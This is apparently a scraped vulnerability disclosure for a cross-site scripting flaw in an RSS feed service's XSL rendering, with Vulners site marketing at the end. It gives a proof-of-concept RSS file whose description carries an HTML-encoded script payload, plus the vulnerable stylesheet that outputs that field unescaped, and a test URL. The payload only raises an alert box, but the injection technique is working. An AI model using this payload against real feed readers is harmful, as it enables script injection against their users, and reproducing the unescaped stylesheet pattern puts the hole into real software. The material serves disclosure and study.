在<description>标签的内容中输入HTML编码后的JS代码,例如:
<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='kxlzx.xsl' type='text/xsl' ?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
version="2.0">
<channel>
<update>Mon, 26 Oct 2008 10:36:52 +0800</update>
<title>hacked by kxlzx</title>
<description>hacked by kxlzx</description>
<item>
<title>hacked by kxlzx title</title>
<author xmlns="http://www.w3.org/2005/Atom">
<name>test all</name>
</author>
<id xmlns="http://www.w3.org/2005/Atom">http://www.inbreak.net/</id>
<description>&lt;script&gt;alert('xss');&lt;/script&gt;</description>
<pubDate>Mon, 27 Oct 2008 09:34:54 +0800</pubDate>
</item>
</channel>
</rss>
====
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="html" indent="yes" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"/>
<xsl:variable name="title" select="/rss/channel/title"/>
<xsl:variable name="feedUrl" select="/rss/channel/atom:link[@ref='self']/@href" xmlns:atom="http://www.w3.org/2005/Atom"/>
<xsl:variable name="srclink" select="/rss/channel/link"/>
<xsl:template match="/">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
</head>
<xsl:apply-templates select="rss/channel"/>
</html>
</xsl:template>
<xsl:template match="channel">
<body>
<div id="wrapper">
<div id="content">
<xsl:apply-templates select="image"/>
<h1><a href="{link}" style="color:#94B3C5;"><xsl:value-of select="$title"/></a></h1>
<p id="desc"><xsl:value-of select="description" disable-output-escaping="yes"/></p>
<ul id="item" class="item">
<xsl:apply-templates select="item"/>
</ul>
</div>
</div>
</body>
</xsl:template>
<xsl:template match="item">
<li>
<h2><a href="{link}"><xsl:value-of select="title"/></a></h2>
<span class="date"> <xsl:value-of select="pubDate"/></span>
<p name="decodeable" class="itemcontent"><xsl:call-template name="outputContent"/></p>
<xsl:if test="count(child::enclosure)=1">
<dd>
<a href="{enclosure/@url}">
<img src="http://www.feedsky.com/images/listen.gif" style="vertical-align: middle; padding-left: 4px;"/>
</a>
</dd>
</xsl:if>
</li>
</xsl:template>
<xsl:template match="image">
<xsl:element name="img" namespace="http://www.w3.org/1999/xhtml">
<xsl:attribute name="src"><xsl:value-of select="url"/></xsl:attribute>
<xsl:attribute name="alt">
Link to <xsl:value-of select="title"/></xsl:attribute>
<xsl:attribute name="id">feedimage</xsl:attribute>
</xsl:element>
<xsl:text> </xsl:text>
</xsl:template>
<xsl:template match="feedsky:browserFriendly" xmlns:feedsky="http://namespace.org/feedsky/ext/1.0">
<p id="ownerblurb" xmlns="http://www.w3.org/1999/xhtml">
<em>A message from the feed publisher:</em>
<xsl:text> </xsl:text>
<xsl:apply-templates/>
</p>
</xsl:template>
<xsl:template name="outputContent">
<xsl:choose>
<xsl:when test="xhtml:body" xmlns:xhtml="http://www.w3.org/1999/xhtml">
<xsl:copy-of select="xhtml:body/*"/>
</xsl:when>
<xsl:when test="xhtml:div" xmlns:xhtml="http://www.w3.org/1999/xhtml">
<xsl:copy-of select="xhtml:div"/>
</xsl:when>
<xsl:when test="content:encoded" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<xsl:value-of select="content:encoded" disable-output-escaping="yes"/>
</xsl:when>
<xsl:when test="description">
<xsl:value-of select="description" disable-output-escaping="yes"/>
</xsl:when>
</xsl:choose>
</xsl:template>
</xsl:stylesheet>
===
http://www.inbreak.net/kxlzxtest/rss8.xml
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation